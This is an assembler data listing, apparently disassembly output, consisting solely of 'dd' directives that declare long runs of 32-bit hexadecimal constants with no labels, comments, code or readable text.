		dd 0EEA9A676h, 0D2D4B308h, 88416B77h, 0F82030D9h, 4CB45288h
		dd 0DF00D7D8h, 5629C6BAh, 51096C77h, 928D024h, 649029F4h
		dd 6B5C0058h, 1AD19FCFh, 0D7007D30h, 0D6D99E61h, 2C69F502h
		dd 8790AB0Ah, 0BE0C4C13h, 81C488E0h, 0FC02D3EDh, 5247D656h
		dd 29B840E1h, 13EA8962h, 0A555E858h, 44310B21h,	9CEC28F9h
		dd 804C580Bh, 7094C5h, 935DB46Eh, 8ECCDB09h, 92851E07h
		dd 0EC06788h, 2FB91B6h,	83F7F93Dh, 2084E77Fh, 0B51140F6h
		dd 0A94B8D1h, 39240CACh, 4F7970B8h, 2DF8B900h, 67A7F772h
		dd 9ECA26F0h, 85210A46h, 684162B8h, 7D122CC1h, 21027FF4h
		dd 2F69730Bh, 33676065h, 0BC9C018Ah, 0F94D5D36h, 29E8755Eh
		dd 22271328h, 0A6EB4420h, 0AEBC007Dh, 3293214Dh, 2D546CFAh
		dd 0B5816A0h, 944C83E0h, 33E1C8D4h, 21EA5EE3h, 0ECA93C48h
		dd 0C15F2A09h, 0EB027C60h, 26FD42CDh, 0F960DCC4h, 1D91CAACh
		dd 89C9D82Fh, 0CC444983h, 58AE6822h, 9110CC12h,	0B1C5E155h
		dd 0D0801452h, 8D8139E4h, 0D1CA1C18h, 0B8884BF1h, 25B03A28h
		dd 0CB722C0Bh, 4DFB3830h, 5B1E20h, 0CA5F36A2h, 41305A71h
		dd 0D13F9417h, 9870988Dh, 0ED370C07h, 4439424Dh, 3D75F007h
		dd 47B0CBC6h, 2491B0Ch,	0EF227F6Bh, 0BC65F683h,	0F80E7811h
		dd 8100F11Eh, 0FFFACD2Ch, 0C60CD702h, 0F868367Bh, 0F0422144h
		dd 0DC2CB42Ch, 1CC24812h, 1001118Fh, 51FFA5h, 0D3D1DB85h
		dd 0CD78C416h, 0B8B64814h, 0CB06807Ch, 112CFB7h, 741B92CAh
		dd 2DDA652Eh, 0C8D20040h, 170C2714h, 5E6F00CBh,	0F73E054Ah
		dd 0AC01ADCEh, 6A583C85h, 622BF18Ch, 0C87A4DC0h, 91EA6F0Fh
		dd 11E6022h, 1727A03Bh,	5268FF4Ch, 85402818h, 0D0930F16h
		dd 0F6EBE700h, 14D6AE3Eh, 0F42BF9CAh, 6C0B413Dh, 0AC386205h
		dd 0ED1DAF4Eh, 4B4832FAh, 8236C4ABh, 6C21B09Ch,	80C648C3h
		dd 0D335A0F9h, 0EC170930h, 0E4105EDDh, 0E300BB34h, 89037F2Bh
		dd 0F87769h, 4D22F9C3h,	73C41D92h, 0D750B55Ch, 3A09BC8Ah
		dd 3A0F5E2Bh, 93C20FA0h, 0CE0598EBh, 0A8ECBCD3h, 24E414h
		dd 0C8DB03F8h, 3A5E7792h, 5CDD32AEh, 69760A86h,	416C1B00h
		dd 3AB1058h, 0F7180942h, 0A04EE855h, 8004983Ch,	37E7D29Dh
		dd 2B20E174h, 11B8693Fh, 2E2400C3h, 0D05364F1h,	5A0509EEh
		dd 0F4E182C9h, 58412ABAh, 0BB327E7Fh, 0B2EAC25h, 4820341Ch
		dd 5F1AF459h, 93054F05h, 5FC32C0Dh, 0A79F9936h,	7A3B0074h
		dd 91BC9C14h, 3BB0B4Fh,	120CAF37h, 0CAB04405h, 0EE4D6440h
		dd 2C307B8h, 61C866F0h,	0A05B0D51h, 4170221Ch, 0FCAECFh
		dd 0C929A247h, 0A5DDE30Ch, 62AD021Dh, 688F81C2h, 0E47C5464h
		dd 3C3056C1h, 20EFD34h,	7B015D9Ch, 2456D651h, 7D4C71C3h
		dd 0CC209DA1h, 6EE30721h, 69633E05h, 0A013C070h, 0EEFC64C8h
		dd 80B100DEh, 82CF7BCh,	370BE996h, 493E3CBh, 1643655Ch
		dd 0B7D0880Ch, 0A1131F5Bh, 1898D7B5h, 0F0CC34E9h, 0E0F259h
		dd 0E67F2AA1h, 2C3B3F05h, 73B8F25h, 347BDE18h, 20C0B538h
		dd 0F0974BCh, 6669AC0Dh, 0EC90957Ch, 0B7003559h, 0DC052F49h
		dd 75F50427h, 23DE00E6h, 0F40F09A6h, 8CACD0BFh,	6D30A297h
		dd 91D42A12h, 81163E55h, 1E8A2F59h, 0B422B58Eh,	3346F500h
		dd 8DB11290h, 0CBAEF700h, 1D612869h, 64015D8Fh,	6A26E480h
		dd 41005FAAh, 349278ABh, 4A7EA5B7h, 6A887076h, 66737D13h
		dd 0A5CEC49h, 0EEBE5392h, 76104D18h, 0C4D4BC25h, 0E9A4B5D9h
		dd 59853069h, 0D3B3C8E7h, 7A7C801h, 20046F81h, 2511BC2Ch
		dd 6C0214FFh, 64AE167Ch, 8288432h, 6B02092Ch, 32224E4h
		dd 549097BCh, 0A0710C6h, 3BF52A32h, 5891C570h, 0A7DB0942h
		dd 84693C83h, 10E0777Fh, 98003A1Ah, 0CA08D96Ch,	2D03EF59h
		dd 6DE2C560h, 1FDAC8BDh, 7F7CA4D1h, 24B95A64h, 0E3A4D284h
		dd 7D7824C4h, 992C6326h, 0A1937E07h, 54986EF0h,	0DD41003Dh
		dd 8E083801h, 9E2C43D1h, 1596441Bh, 0B657BC8Ch,	0CCBC4068h
		dd 9D1C043Dh, 47C7856Dh, 9E7036F1h, 706381D6h, 2EA90BCAh
		dd 2C6469F7h, 882C6859h, 17F5811Eh, 26B9E7C4h, 8B162C44h
		dd 0D3B66E01h, 18203563h, 0F9FA2436h, 802F3D3Ch, 3EC58C10h
		dd 0FF7BB60Ch, 41D7C06Dh, 0F87255h, 28B24049h, 0A956B9h
		dd 0F49D9086h, 0F8FCE963h, 2C294D13h, 9DE8DCh, 327BD367h
		dd 0F1FF0E63h, 20D0E12Eh, 0C3511CE0h, 0F4270122h, 75463FBDh
		dd 3D78F932h, 0ED3A0B64h, 5918B0BAh, 3DBD09DBh,	0C4DAE337h
		dd 41B59B00h, 4F7175EFh, 12654E92h, 144B2BCh, 98759A7h
		dd 0E0D2FD82h, 3029C3h
		dd 0F4CA49B4h, 0CFBE7032h, 3082AB4Bh, 1D0728Fh,	47E26F50h
		dd 0CC6505FCh, 91002F6Dh, 92585C1Ch, 24AD5945h,	0E5D01BDFh
		dd 63E488B3h, 35877D00h, 0AD1F6629h, 0A24D0FCDh, 0AAE30B6Dh
		dd 0E6A946DFh, 808C78B2h, 58BF5E8Fh, 554C05A7h,	0F673C8AFh
		dd 64331770h, 5C0260D8h, 0A89C056h, 24CC8C48h, 38F23A58h
		dd 43140183h, 8DD218BDh, 88C10024h, 270F6694h, 4FF9647Ah
		dd 655F006Fh, 0B8DA8F2h, 36B9BDECh, 423FB084h, 48318583h
		dd 0B992C5B4h, 0AAD61F00h, 7FDC01C8h, 8327ADFDh, 4E4E84Ch
		dd 0A059A1A0h, 3AF69C13h, 8A578C9Ch, 8528C61h, 691860B5h
		dd 165AE353h, 911CE572h, 940634Bh, 721E7B97h, 7DCB0420h
		dd 0B84102FFh, 0C437975Ch, 358001ABh, 38E20797h, 0EC446169h
		dd 79201E93h, 4E8E8E5Eh, 0D9FACF01h, 0EC292F22h, 5D106C38h
		dd 0B0792762h, 50917F60h, 7BB393DBh, 0D13F1C72h, 0B5C92ECh
		dd 20EEBD34h, 86206922h, 9E8E00CCh, 7C2EA6FDh, 8B0713CFh
		dd 44DCBE65h, 0F5C27F53h, 830C60E6h, 30C9EE6Dh,	0CC4C1490h
		dd 133A3FF8h, 388264FEh, 0C31120E8h, 0AD02279Ah, 0D5A574C8h
		dd 4CEC6034h, 0ED308821h, 1D932788h, 51BCA82h, 0AA13DC4h
		dd 0CD878EAh, 77B1BB9Eh, 68D40197h, 0F03240F7h,	0C0439200h
		dd 1C51B0F3h, 3C2C89Ch,	7070666Eh, 32111863h, 22924885h
		dd 0FB4A5A01h, 8B9F0739h, 88926469h, 7F00541Ch,	0AB343A51h
		dd 2CAEB5Bh, 0E7034106h, 0F8EC386Dh, 4C936425h,	48530F74h
		dd 0B1883D14h, 4BA2F51Fh, 111062DFh, 0E301E4FAh, 0A46462B2h
		dd 0A7D07699h, 74E200EEh, 6D218875h, 0C600FF6Bh, 5FB8CBE8h
		dd 9F804C35h, 655830A0h, 79053473h, 7875E8EAh, 0E008609Dh
		dd 52850B79h, 28664641h, 4EC4273Ch, 44242057h, 0C921B4F2h
		dd 0EAC1E15h, 0C97D1F2Fh, 2F8CC0Dh, 9FE76340h, 0E4D976F2h
		dd 6A84FA00h, 16340F91h, 0D80630F1h, 39EFE770h,	1C127C4Ch
		dd 2840F522h, 0EFB34F9Fh, 40AB00D4h, 0BAAD96B8h, 0C0029068h
		dd 47244D74h, 0C438EE2Eh, 5EA792D0h, 0BF837A1Dh, 9C168733h
		dd 44F05886h, 6A5A785Bh, 0D482FC24h, 69E02FDFh,	49BC1906h
		dd 4EBC249Fh, 0F5CCE842h, 15E1A476h, 0BDE01B8Fh, 7A4401B5h
		dd 11A1E17Dh, 4EFC5C47h, 0BCD4A09Fh, 2AC5601h, 325D85B6h
		dd 5F603C1Ch, 0D11F34BFh, 9E00BE20h, 0BDA344CEh, 9CAE5641h
		dd 7F90204Bh, 40002A5h,	831AEC11h, 0E23D1B9h, 3E9A20E5h
		dd 0CBE46C5Dh, 0F729DC50h, 5902E86Eh, 70961636h, 622520ECh
		dd 889EE712h, 81785044h, 0E98854A8h, 51568A80h,	0D8F254h
		dd 8EA64125h, 0F8497720h, 80CC8649h, 0CEC857E7h, 4E2E0554h
		dd 0A4464C59h, 1D60480Ch, 32853089h, 3B6EF00Bh,	0DF818F44h
		dd 4C4F04E6h, 25C8296Dh, 54CA023h, 1094D6Bh, 52494391h
		dd 0E07AD358h, 94A77C65h, 84D9270Fh, 51C204DCh,	74816005h
		dd 0C11704EEh, 0F60853CDh, 88885A84h, 35855F78h, 70244484h
		dd 38C052B4h, 58078E13h, 9F80BC4Eh, 9AA0DC82h, 72E7AC01h
		dd 22296633h, 8AB8403Ah, 71C48074h, 3FA1685Ch, 0CD300096h
		dd 573FF4CEh, 0A1C8A034h, 6816814Ch, 6B978050h,	23AEB6Eh
		dd 0FAC82E76h, 0C4C0A82Bh, 0DF794003h, 65723516h, 0A22A64B7h
		dd 285D00E8h, 33EED58Eh, 9906A34Ah, 0C068C55Fh,	70D64821h
		dd 278C4680h, 0B439F817h, 3D2481E9h, 6AB0F667h,	4D379CD0h
		dd 0C3C83890h, 6672A480h, 2270B25h, 1F17D805h, 0FCF39AFFh
		dd 716D030Bh, 0CBD1899Ch, 171C5001h, 903212h, 44C58FAEh
		dd 62A6FAh, 0FD2D5D5Ch,	0C88305BDh, 0F50F6407h,	0D3144CDDh
		dd 6CB8CC8h, 0C41ABB32h, 0E4F86168h, 443F4C05h,	40C21CFCh
		dd 0E4D92497h, 6071038h, 0F545047Eh, 4E319F52h,	6C021464h
		dd 0F60A581Bh, 40E8236Bh, 0B8A89F7Ah, 0D8B21E00h, 6594CC24h
		dd 76EC1FC0h, 91018015h, 21FDBC34h, 6AC58016h, 3C78CC21h
		dd 9E239C48h, 3181BABCh, 5DC85636h, 84B0391Fh, 304FC4D3h
		dd 0D8E1794Ch, 790FC00h, 0EC28C378h, 0C42E0BDFh, 0B8EE67F8h
		dd 3BAB3C17h, 49E6880Ch, 0A8330093h, 0B7A4A90Ah, 0C50E6CAAh
		dd 0E0E7BDDEh, 64E0743Fh, 80F4BB92h, 0DEF3F847h, 0DF00A61Bh
		dd 59CB7DEAh, 862022Bh,	0D7299E3Fh, 69258B11h, 0DA286098h
		dd 56C010BDh, 218C4C1Eh, 3F2CF500h, 0FD2AB5CFh,	0DA599C12h
		dd 1AF8F4D0h, 0F31D0380h, 0CB05F01Eh, 390E9C0h,	0C0106A5Ch
		dd 0F3F76081h, 8C1B4ED6h, 854B1580h, 0F2C428DCh, 0C1C58BB1h
		dd 5202C58h, 2780B0A9h,	15240558h, 2CFC3F00h, 34924F5Fh
		dd 0ACEF09D5h, 9C59C564h, 0A7213B9Fh, 0B801284Ch, 468FB931h
		dd 0D0624978h, 5F3BAC58h, 18CC8EA5h, 0A2001670h, 28864F2Ch
		dd 9AD3DD3h, 0A9941CAEh, 8D0044F9h, 4DC03F92h, 0FC7E005Dh
		dd 43D136Bh, 57124C08h,	381258DFh, 492368B2h, 15123424h
		dd 38243C8Bh, 0C25CC0C4h, 0DE005624h, 3DC9920Ah, 2E0DA3h
		dd 6AE9B79Dh, 606D2A5Ah, 0C430CA27h, 0B55006Ch,	8441443Dh
		dd 0AA0090EBh, 6D4B0FDDh, 1CABDEAh, 0BCE5B991h,	7CD483B1h
		dd 0D243A018h, 69A301DDh, 87EABFF6h, 8CB03D1Bh,	0B4A1C1h
		dd 946192E5h, 15972118h, 0A48DF300h, 0CAF6FB1Eh, 84A6492Dh
		dd 0A21C1585h, 0C60B0074h, 4EE02D83h, 77FCFD85h, 9A65F020h
		dd 789221F8h, 0EB5D1B03h, 5B79261Eh, 55DB8828h,	3A94C837h
		dd 78F13009h, 0BAC02600h, 0ECB532h, 0E91D2F20h,	24F48935h
		dd 1B8AB401h, 0DC4E5F1Ah, 0A30B17D4h, 0FD323038h, 0B7F3BB04h
		dd 0E6CFC801h, 2F8CE5ABh, 109F437h, 9810D640h, 2D0011ECh
		dd 0CE2924DEh, 659DD9h,	4234BC60h, 0C4A81436h, 89809E48h
		dd 44D87366h, 4FCCD27Dh, 8200A8C4h, 0FB0946CEh,	5DCA3Ch
		dd 48A6230Dh, 69BBEA5h,	562E1200h, 0F10A4E76h, 93032F57h
		dd 0F327C841h, 0C03CBCDDh, 432110A0h, 0FB180078h, 2483B429h
		dd 72029F4Ch, 7D209CABh, 5974902Ah, 40A8BC58h, 1146E2BFh
		dd 76F34800h, 377728D7h, 0C56B3C4Fh, 64B4A426h,	91CB40B7h
		dd 2533984Bh, 34837E8Eh, 0E9E4D11Bh, 0E1A9A760h, 518086ECh
		dd 0F5949205h, 18B7D391h, 0E26BCCh, 0ADD4D7E7h,	3D15C89Bh
		dd 2E91A502h, 5E64842Fh, 0A1D63534h, 8F4FFCF4h,	3CE83400h
		dd 58A9E448h, 64E0B15Fh, 5A3540BCh, 3A0151D2h, 7E76DFEDh
		dd 8B601FC3h, 0EEB93F88h, 1891D300h, 0D66BDFCCh, 0EB182A95h
		dd 0FBC3700h, 256F2A9Dh, 5867E9B8h, 7C2D3400h, 103C1C8h
		dd 0D7D105E7h, 0D7939D12h, 0AD1984B2h, 0F8EC443Ah, 40BC34D9h
		dd 0E5DD1EA0h, 8097D93Eh, 0FA9524BBh, 5E259D10h, 0D0788077h
		dd 764BAF30h, 41C26099h, 0DB101D3Ch, 35243402h,	1400B4A4h
		dd 412F85E3h, 99CF0BBFh, 0B400AD70h, 0C8F0D54Dh, 2C260B6h
		dd 0D0E441h, 4E133259h,	1735EC01h, 4C923325h, 94B04424h
		dd 0F304C500h, 3AFD2489h, 68F7126Bh, 7FF4F20Fh,	50B740h
		dd 0C695309Ch, 0D4AAE828h, 7499EA05h, 18825AA5h, 0E1B090B5h
		dd 0CA5C3829h, 0CBBF9A80h, 0C5ED043Fh, 6C2FD716h, 893E4405h
		dd 0D9AD9482h, 5888BF7Ch, 1980F8E3h, 0C4A4883Bh, 96A90206h
		dd 47F02EEh, 0B565E07Dh, 0DB4300F6h, 0C3973BD2h, 0F704BE8Dh
		dd 73846364h, 0CF8BA84h, 19B2B880h, 1600A9C1h, 0A505923Ch
		dd 9C848D48h, 1BCB418Ch, 0B380C862h, 0EA7CD107h, 64403210h
		dd 973AE021h, 9EFFFC30h, 0D8205D4Ah, 163987A8h,	0BE16EFDAh
		dd 0EC0E601h, 386F6513h
		dd 5F007E88h, 0E53A4B95h, 16D9C64h, 47B668DDh, 0C5ADA428h
		dd 0DB3C246Bh, 6D2F5342h, 745FC4EEh, 4A17A840h,	9720F53Fh
		dd 0C86590B8h, 0C9BAFB0Fh, 0D1240B3Bh, 4BFD4094h, 827FD827h
		dd 14090D70h, 3984E48Dh, 6063B430h, 0FD6D8103h,	42F0D87Bh
		dd 7800949Bh, 545C1652h, 0BCFCEDBCh, 486252F4h,	5600105Ah
		dd 123C3A11h, 8F4E28h, 0A003B336h, 0AA490A65h, 0E16DF809h
		dd 9DDC60E5h, 33BB8963h, 2B9C51E8h, 8725D840h, 442C79h
		dd 0D33490FEh, 176A3276h, 4AED1A2Ch, 0D060BA17h, 73DBB30h
		dd 52C80679h, 34486958h, 4A00980Eh, 49ECA377h, 98D46FD8h
		dd 0D55605A8h, 0B4D9DB0Ah, 0C605D1A4h, 95600B66h, 0C074C4DAh
		dd 5147AA68h, 3C4BFD7Ch, 0A4F05440h, 5AF27B26h,	8C90C81Ch
		dd 0FC999C9Ah, 0D940C99Eh, 2B3198BEh, 424800C8h, 2D2478E1h
		dd 0EA271032h, 8ECE6FFh, 3A1AB3D3h, 8059BE00h, 39950C63h
		dd 190565F1h, 0BBBB242Ch, 91777F80h, 5B59705Ah,	51881A6h
		dd 3C9D85Dh, 0B649B476h, 0D9D08B00h, 488367D8h,	57C1F81Eh
		dd 373C852Eh, 35AC042Fh, 0BDE94863h, 0AC715807h, 0A4601FAEh
		dd 0CAB0F01Dh, 2EB12B39h, 42C0D07Eh, 1354FB17h,	89558B0h
		dd 0B69EE930h, 0F64F50C0h, 51D8E19h, 57E878CFh,	97548CADh
		dd 324DAF03h, 0D863068Ah, 1C3F001h, 0BB3E7D1Bh,	3BC6D8C9h
		dd 9273F430h, 1B1E3E64h, 0C9BC73CFh, 77C2CF0h, 5867C53Bh
		dd 1D9B1476h, 427620DCh, 2452DCh, 0B7EC055Fh, 12BF97DEh
		dd 704CD2ABh, 5DC8D1CCh, 7D2EAD16h, 30161C98h, 12C9BC0Bh
		dd 5E1C88E2h, 0CA8072AEh, 506E8E3Dh, 38F20052h,	9D863215h
		dd 0BE138707h, 0F470855Ch, 91DCCFE8h, 0E711F8h,	76C9B5D9h
		dd 0C6566Eh, 0BB9ABDF9h, 0AB55CE59h, 802685Fh, 0E670C558h
		dd 84827430h, 0B7226A17h, 0BBC4FC91h, 1022862h,	0B207372Eh
		dd 0C2A760DBh, 80CDE84h, 62005B40h, 0BC694F30h,	8A933FF9h
		dd 0C1C60F8Fh, 32CD6721h, 0A634D04Ch, 87A52504h, 6CB973C4h
		dd 6B65BB0Ah, 0AC0A02E6h, 0D0FE91C6h, 701F9340h, 1665901Eh
		dd 0B6B8FBF2h, 41509A64h, 416BCDB4h, 9E436460h,	0BAE47477h
		dd 7FA02D58h, 93440125h, 0E843D0C4h, 6CF54CE3h,	0AE03F622h
		dd 5DDB82D1h, 56EED2A3h, 0E83265C4h, 4ABBC024h,	5CF10750h
		dd 6302882Ch, 6F6D1813h, 6A09D45Eh, 46F06629h, 0CCE81372h
		dd 0B07E3089h, 52584AB6h, 0C429056Ah, 34007968h, 5D2EDF3Dh
		dd 60D40935h, 2CF21BC8h, 0A8CE10B4h, 582700A6h,	92437CD4h
		dd 57C10CBEh, 4A2ECDEBh, 168C2724h, 4A2820E3h, 7900B80Bh
		dd 4BC3AC90h, 89A98Ch, 22D4F4AAh, 2FCF1BC6h, 0B1B4EF13h
		dd 0D1E88F2h, 14A9478Ch, 0ED61CF03h, 6DD67DE1h,	936884A4h
		dd 88EAE0F4h, 1700F4B9h, 88AAB050h, 7A86F2h, 0E9FD4FC1h
		dd 21428967h, 8544DA59h, 0E0401C4Dh, 0DE87E7EEh, 918007E1h
		dd 584C958h, 6D8C0578h,	0B5F8B8EDh, 1161F41Dh, 6D37004Dh
		dd 0DB5A0343h, 6CE20F2Eh, 0F4E45BEh, 0D3806012h, 313BC863h
		dd 18853D23h, 2C9E6C6h,	991A696Eh, 1B26A859h, 7645AB00h
		dd 7CE8911Ch, 371E0028h, 9E7916D1h, 0AB26AFA4h,	0AEE21CACh
		dd 7C006E91h, 64488A27h, 977C2138h, 5ABE3325h, 84417858h
		dd 8EABDB12h, 6D9DACACh, 2C8944CAh, 4A82C471h, 5983DB40h
		dd 4524A83Ch, 7E306373h, 0C4B1851Dh, 0E428BF40h, 128327EDh
		dd 0B43D7389h, 9E0023ACh, 0F4C4D86Ch, 94D645CCh, 0AFAC3Ch
		dd 0A23285BDh, 73E665AAh, 7CE6BB03h, 4EAB39CFh,	4DE48140h
		dd 7E29EC7Bh, 0F7B29109h, 80B451B6h, 14261B73h,	0D0F57FC4h
		dd 720016B5h, 4E0FDBADh, 94B7E155h, 186540E8h, 0E50028C6h
		dd 7423272Ah, 1238B4BCh, 80B72D32h, 5B0F6FB8h, 0B3C6682h
		dd 171DC688h, 24A0DC36h, 44B893F6h, 0EF8082B7h,	9C70E891h
		dd 6C518A83h, 2448B00h,	1117B2Bh, 1C31AA7Fh, 7E3C4C5Ah
		dd 5C5B84Eh, 30B0B670h,	45CE28BDh, 305404D0h, 42EDB485h
		dd 63496FCAh, 0E921A93Bh, 4C83FAC8h, 5E89EC81h,	0C089448Eh
		dd 3D6A1820h, 35F887E8h, 4440DA4Ah, 0F86C1164h,	0BDC22430h
		dd 5BC42050h, 0DD74D77Bh, 80986829h, 43CF5D3Ah,	0C1BE3C4Fh
		dd 8A732E02h, 2CC0CE1Eh, 3A401F7Eh, 0F0A39F23h,	0BBF909C0h
		dd 0A24883D8h, 0D8C24C7Bh, 57425648h, 4310C468h, 4420931Dh
		dd 0EE4E97EFh, 7C5A248Eh, 0EAA90D4Ch, 9E8A8B30h, 7680E045h
		dd 79CE09C8h, 0E84458BBh, 41109F03h, 0B00761BFh, 560A0F5h
		dd 4C6557D9h, 30A820D3h, 9B1331B8h, 2CA1A293h, 90787464h
		dd 91EBE840h, 83E10094h, 59329592h, 0B80074A4h,	6E2C1A76h
		dd 385B696h, 61D48881h,	33A96803h, 787C0D39h, 73A3C880h
		dd 0D8C59B0Eh, 30801BADh, 7A763F27h, 0FACE3874h, 5D92BF0Bh
		dd 1F1C9C88h, 0FE9CC002h, 0C8D59EF7h, 0A0191F41h, 2FE9E002h
		dd 5BE6C88h, 0E5591D9Ch, 0FA70B849h, 0FC98B72Ch, 6A1A7F64h
		dd 485954D2h, 4CE71B38h, 0D5044CECh, 0B4FA97h, 7B74CFADh
		dd 1C30BD48h, 1E03BEE2h, 64F92F8Ch, 2117902Ch, 302A00A5h
		dd 4E9CB9C7h, 52F6BDBh,	0F2606C9Eh, 0AAC2058Fh,	0B0924791h
		dd 80408354h, 0A5AC91C5h, 32110441h, 166B0170h,	32B40687h
		dd 405491F0h, 0FF25F6C6h, 110E48Ah, 0A95C6CDDh,	0ECE68E95h
		dd 0F04A38Dh, 97DF79EFh, 0A402E0D4h, 5C6B02BFh,	94CB5050h
		dd 0E9E6D1F0h, 0F617DB00h, 2C6A29B4h, 0E673095Eh, 0E080F18Fh
		dd 59769972h, 0AB3BF501h, 0CB63DD84h, 80C1F8E0h, 0F021349h
		dd 876CFA65h, 0F6A0A47Dh, 0EBDF6440h, 9D7BCEA2h, 0EC707700h
		dd 5A713C10h, 8CB6A3h, 2C25E47Eh, 4104EBC0h, 21C1622Eh
		dd 166AAC80h, 5EDB3EC6h, 8B4BA780h, 72AA2E19h, 1D32500h
		dd 0EF4FDE56h, 4C2812CDh, 74843049h, 434BF714h,	0B6A28C8h
		dd 1EEB064Ah, 0EF05F4F9h, 2C0BAEAh, 0DADF44h, 13E4ED6h
		dd 0F4834D17h, 2BEC66EEh, 61C05025h, 42201248h,	0F82F9F52h
		dd 0BBD34601h, 5DDB205Ah, 0DF4FB00h, 0D5B2A27Dh, 8FFEF5h
		dd 2C92D6F0h, 5E40BD1Ah, 2F956302h, 82BC7F8Ah, 0E4E3597Ch
		dd 0ADBD1EA0h, 0C904C066h, 0E80999BCh, 280F85Ch, 13A6ACAh
		dd 0E4C0428Eh, 73B81EA0h, 3F880E2h, 0BBD02777h,	0B0B1D900h
		dd 69DA36F5h, 80781338h, 591463B4h, 6DE2EAC9h, 354E0060h
		dd 2DB45585h, 0F55E00D1h, 7E63868Dh, 0DC905875h, 0B9C044h
		dd 5DA5EF70h, 0D05D4EEh, 0B47E0404h, 2309678Bh,	0B33F8410h
		dd 9D6B7A02h, 6AD476D9h, 3B6CD1E4h, 83072F48h, 80AEFFE7h
		dd 9337431Fh, 85ED8B3Dh, 474C6665h, 58E888h, 0B2FA2FC5h
		dd 591BDEF8h, 49849D06h, 825145A9h, 6AA411B4h, 3AD72C20h
		dd 7704ECD3h, 90EFAB34h, 31BFED8Ch, 8070E2B8h, 88141397h
		dd 60AB6Ah, 0C449F6B8h,	0CB90AF8Bh, 0E2B0701Dh,	7850B140h
		dd 9DB98E43h, 68762C42h, 58AE7C60h, 0F89359BBh,	0B4805288h
		dd 6D82A1FDh, 3CEC012Ch, 631BF3D0h, 0B90385Fh, 1825C4D4h
		dd 0E50BAB4h, 11174FB2h, 43A5DC21h, 78D0E48Bh, 124438B1h
		dd 9F24E052h, 0C40C4424h, 4C05F011h, 82BEA750h,	9160D1B5h
		dd 0EEC0BBE8h, 585CF09Fh, 0FCCB9E3h, 0DFE969F9h, 15EB8157h
		dd 97FC427h, 288E40F0h,	853F4244h, 6BD8D0C4h, 2C9A9EDEh
		dd 8C103004h, 0CCE8734Dh, 6F1E2480h, 0B7001CA7h, 2DBD874Ch
		dd 0B74F4036h, 8ECB15F0h, 27B090F8h, 0E25C0052h, 4392B662h
		dd 0E12C2D48h, 0D90CEC61h
		dd 4B4FB9FFh, 0C4F2DBh,	0CBE53A2Dh, 179A6F8h, 71756412h
		dd 0E8343631h, 0F3004A67h, 0F4ABE1E5h, 4D2991h,	9EA4207h
		dd 2414C5DDh, 2898BF1Ah, 401C5619h, 0DA534534h,	1AA68200h
		dd 5E166981h, 0C55C070Dh, 706BCCBFh, 61B0BBCFh,	1ED863E9h
		dd 0C687FA83h, 26C0EBFCh, 1C4636C2h, 332E92B3h,	2588D4E9h
		dd 430963F6h, 0D126D204h, 71E500F0h, 75DDE35h, 0A8E6D0FFh
		dd 32967E03h, 4875B263h, 0AC592041h, 374B6C03h,	87A064F4h
		dd 4CB471C4h, 0C640F742h, 9A839890h, 136F9890h,	20617DC0h
		dd 0F865939Ch, 6F288A09h, 410CD629h, 0FC79BBA0h, 74007177h
		dd 76372B6Dh, 3A3E676Ah, 98D802F2h, 0F4A296h, 0C3C6F0F5h
		dd 3EDC8807h, 0C8486B56h, 2924DD2Ch, 0FC9034D8h, 40418840h
		dd 0EABF31ADh, 0ECA95501h, 88F5D88Dh, 0DA080851h, 3C009844h
		dd 0E0157D18h, 0ACF00E5h, 844D83FDh, 29037619h,	0A0DAD062h
		dd 7846F11Dh, 0DBAF6A00h, 71F010B7h, 0EF600BBh,	73534C13h
		dd 81C1101h, 0D5008249h, 43466A91h, 0C9AB0142h,	4D064162h
		dd 690030F2h, 382C94FEh, 7110EC68h, 64E2D7h, 0A8B9A60Ch
		dd 8EF29h, 1BA2CA31h, 79176A1Ch, 8743AB3Eh, 90592D92h
		dd 4548F230h, 804458DDh, 0F6112730h, 1EF87258h,	5AEB7E00h
		dd 3AAF0C17h, 408E4CFCh, 44DF1C9Fh, 0B2F17001h,	689C01A0h
		dd 0CA9D1BB9h, 3D894828h, 6FE87Ch, 7C6B6A4Fh, 1225B0BFh
		dd 47E60B2h, 88C02E50h,	880BEFF4h, 0D9E5A923h, 2F9A698h
		dd 304F0DADh, 34419860h, 0EF481203h, 0F814D556h, 22C383Eh
		dd 72655FAEh, 4CD1E8CAh, 5A0F5C16h, 0EDDD2081h,	9590B09h
		dd 4783D2BBh, 7347D471h, 4E49720h, 2D4E052Fh, 541A25EBh
		dd 0E2C064C0h, 0E6DC813Ch, 2C52C103h, 0D4BF4540h, 0D0603C8Dh
		dd 32AA007Fh, 0F57C3942h, 9A1244BEh, 54447741h,	0BB0045C9h
		dd 0C6106D2Ch, 0B20CE19Dh, 1D8EB987h, 0E051DD5Ah, 4201ACAEh
		dd 8AF7D412h, 93C146C4h, 0C0A9699Eh, 375C1C50h,	11003E28h
		dd 8007A274h, 9B31CCh, 9E0F5FA3h, 0BC7B1755h, 0F9543000h
		dd 694570A6h, 890C9927h, 208E1A07h, 0FA0AC03Eh,	79349E90h
		dd 616C6059h, 0F16C02C8h, 0C622F823h, 380BCAEAh, 6262A522h
		dd 744624h, 269334C6h, 61A730DDh, 312D361Dh, 0C04056DCh
		dd 7A83C45Ah, 0F8321747h, 3FF4275Ch, 4217D64Eh,	946B0248h
		dd 0C0AD90A5h, 0FA608AAFh, 0B3585E7Ch, 0BF2C8010h, 3ABE70EBh
		dd 249672F0h, 4F7F1h, 12EDD41h,	0EAA3806h, 559B1F33h, 102F5000h
		dd 0A5382359h, 8995BD5Eh, 416835BFh, 74336DC0h,	63003021h
		dd 0C629FA06h, 0B87703EFh, 494086BBh, 0D8C5A0DFh, 1E75D58Eh
		dd 63DABC16h, 0ADA85C07h, 0B244149h, 4910EDE1h,	4F021575h
		dd 1DC0459Dh, 36B88040h, 5831E442h, 7C8887Bh, 4D8AE860h
		dd 1080996Ah, 0B8D62C45h, 0B2024340h, 1F981C68h, 6B034991h
		dd 0F8438064h, 74385611h, 5D7680B0h, 7E693490h,	0B4A091F0h
		dd 81BC406Ah, 75C62BDBh, 0B3F6D702h, 60237EB2h,	4158ADEh
		dd 0C1B403F7h, 0F2F4837Fh, 4CBFAC9Dh, 0AE468050h, 0D3983045h
		dd 3EBCA0C0h, 0B5E79701h, 0E86125B0h, 3024146Ah, 649CC980h
		dd 7D01223Ch, 0B26EAB91h, 0A0499B6Ch, 0FDCFD088h, 9D2090A5h
		dd 8A491D21h, 0EB3D890Ch, 0A824AC5Ch, 4EA238h, 60978512h
		dd 59EECA75h, 0D9D39200h, 776D6841h, 0B0A5B57Dh, 413070C6h
